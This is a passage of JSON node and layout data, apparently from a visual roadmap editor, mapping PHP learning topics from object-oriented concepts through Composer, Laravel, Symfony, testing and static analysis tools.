\"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"6bK1pQ7pM3oowXyKNYIty\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 738.7340367056072,\n        \"y\": 2028.039362390491\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"-uTMq6j24oe-_6XHfYfxE\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 642.4180934525762,\n        \"y\": 1793.3006388732697\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 68,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 642.4180934525762,\n        \"y\": 1793.3006388732697\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"uH9DTrDCBmBzXlup8KG3G\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 428.57600354059275,\n        \"y\": 2133.3309656555534\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Object Oriented Programming\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"77uKH6zwzzEycoZkGotpK\"\n      },\n      \"zIndex\": 999,\n      \"width\": 315,\n      \"height\": 47,\n      \"style\": {\n        \"width\": 315,\n        \"height\": 47\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 428.57600354059275,\n        \"y\": 2133.3309656555534\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 315,\n        \"height\": 47\n      }\n    },\n    {\n      \"id\": \"EczRVrMg8N-aIvwmuHaBx\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 528.6846520369628,\n        \"y\": 1856.1918715106722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 270,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 270\n      },\n      \"positionAbsolute\": {\n        \"x\": 528.6846520369628,\n        \"y\": 1856.1918715106722\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 270\n      }\n    },\n    {\n      \"id\": \"PIuplWreo7PFG3Mdn2t6W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 1970.824874826043\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Classes and Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 1970.824874826043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oNUt1oT8pYBVvH0S2P6cb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2023.824874826043\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Constructor / Destructor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2023.824874826043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MRAPXshy9RoYdReY6grf_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2076.824874826043\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Properties and Methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2076.824874826043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RD2RaBmA2XWkEa13PTCTX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2129.824874826043\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Access Specifiers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2129.824874826043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qlkpwXfOc1p7j37hrzffI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2182.824874826043\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Static Methods and Properties\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2182.824874826043\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c5q2e_jyMt8Pir5Od3lRi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2235.824874826043\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 287,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1177.5047837090656,\n        \"y\": 2235.824874826043\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 287,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yTviiPFR5b_dr3WyxdxxQ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 821.7340367056072,\n        \"y\": 2131.3309656555534\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OOP Fundamentals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 213,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 821.7340367056072,\n        \"y\": 2131.3309656555534\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 809.2340367056072,\n        \"y\": 2364.1556421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More OOP Concepts\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"uH9DTrDCBmBzXlup8KG3G\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 47,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 47\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 809.2340367056072,\n        \"y\": 2364.1556421815417\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 47\n      }\n    },\n    {\n      \"id\": \"gtq5KrghF28f5G8nuDcYQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2205.9056421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Polymorphism\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2205.9056421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ub79EkMiOmPBwXLRuYFL8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2258.6556421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Abstract classes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2258.6556421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vu0H-TsD7hkJgOQbSRj92\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2311.4056421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Interfaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2311.4056421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GR09ns9B-0cONQaQ_uj-7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2364.1556421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Traits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 48,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 48\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2364.1556421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 48\n      }\n    },\n    {\n      \"id\": \"9raJ06lKRZITbjWeLil-F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2415.9056421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Namespaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2415.9056421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rSXsPWto7Jeyw3Szl9pvf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2468.6556421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Magic methods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2468.6556421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KEE50C6lOS4eX8sAbfhYe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2521.4056421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dependency injection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2521.4056421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sPW-Ti2VyNYzxq6EYkbn7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2574.1556421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Type Declarations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 452.29056395515977,\n        \"y\": 2574.1556421815417\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oAED9Fd5FFTB2Dm7Vi2JF\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1242.0047837090656,\n        \"y\": 2364.1556421815417\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Frameworks & Tools\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"BOWGF4ovKzGC_3MFQET9p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 47,\n      \"style\": {\n        \"width\": 238,\n        \"height\": 47\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1242.0047837090656,\n        \"y\": 2364.1556421815417\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 47\n      }\n    },\n    {\n      \"id\": \"zsscRQZIq5o0JZir9hlz-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1250.06690385191,\n        \"y\": 2470.216035499366\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Laravel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 1250.06690385191,\n        \"y\": 2470.216035499366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"57VSMVePOr9qUD5x_LNdf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1359.671056276999,\n        \"y\": 2470.216035499366\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Symfony\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1359.671056276999,\n        \"y\": 2470.216035499366\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Qz5SD_EDrAZBMBDyjpTtH\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1273.4723696321892,\n        \"y\": 2525.216035499366\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Popular Frameworks\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 174,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1273.4723696321892,\n        \"y\": 2525.216035499366\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 174,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"yVFDu2aTiEZ4PWMdKdW2P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 875.2233988247604,\n        \"y\": 2476.9009287155754\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Composer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 875.2233988247604,\n        \"y\": 2476.9009287155754\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xZf2jjnCVHwYfDH2hs9kR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 875.2233988247604,\n        \"y\": 2529.9009287155754\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Packagist\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 875.2233988247604,\n        \"y\": 2529.9009287155754\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qFiTsf6Es-gwqe6J6bdL1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 875.2233988247604,\n        \"y\": 2582.9009287155754\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Autoloading\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 190,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 875.2233988247604,\n        \"y\": 2582.9009287155754\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CQwvbTXeYxm4yKTnbgQ-P\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 874.1096183840161,\n        \"y\": 2641.164794921875\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Package Management\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 190,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 874.1096183840161,\n        \"y\": 2641.164794921875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 190,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"CQksvYg9NAk4xhlAsYwlW\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1074.1650523820535,\n        \"y\": 2491.4009287155754\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"Ckno7MXH8tSaegNekAiuL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1074.1650523820535,\n        \"y\": 2491.4009287155754\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"Ckno7MXH8tSaegNekAiuL\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1073.1650523820535,\n        \"y\": 2640.9009287155754\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1073.1650523820535,\n        \"y\": 2640.9009287155754\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"NfBKKwG2GGBPppOjoLLBg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1248.6842719582237,\n        \"y\": 2602.164794921875\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PHPUnit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1248.6842719582237,\n        \"y\": 2602.164794921875\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d6MydchA52HIxfAUjmZui\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1364.3239413874203,\n        \"y\": 2602.164794921875\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1364.3239413874203,\n        \"y\": 2602.164794921875\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X0mFrPsMoaoVxe9FSJ0OQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1299.9723696321892,\n        \"y\": 2656\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 117,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 1299.9723696321892,\n        \"y\": 2656\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 117,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"6eWgZVLV479oQzl0fu-Od\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1310.8216274255997,\n        \"y\": 2756\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Style Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PrG_5dyBblXsWYYRcOJMa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1310.8216274255997,\n        \"y\": 2756\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fSpvZ_4kGFMbFVCWhA8vn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1310.8216274255997,\n        \"y\": 2852.2828197635763\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PHPCodeSniffer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1310.8216274255997,\n        \"y\": 2852.2828197635763\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r07k_hT2z2EiIBH4q3F7-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1310.8216274255997,\n        \"y\": 2905.2828197635763\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"PHP CS Fixer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1310.8216274255997,\n        \"y\": 2905.2828197635763\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PrG_5dyBblXsWYYRcOJMa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1078.7233988247604,\n        \"y\": 2756\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Static Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 158,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1078.7233988247604,\n        \"y\": 2756\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": 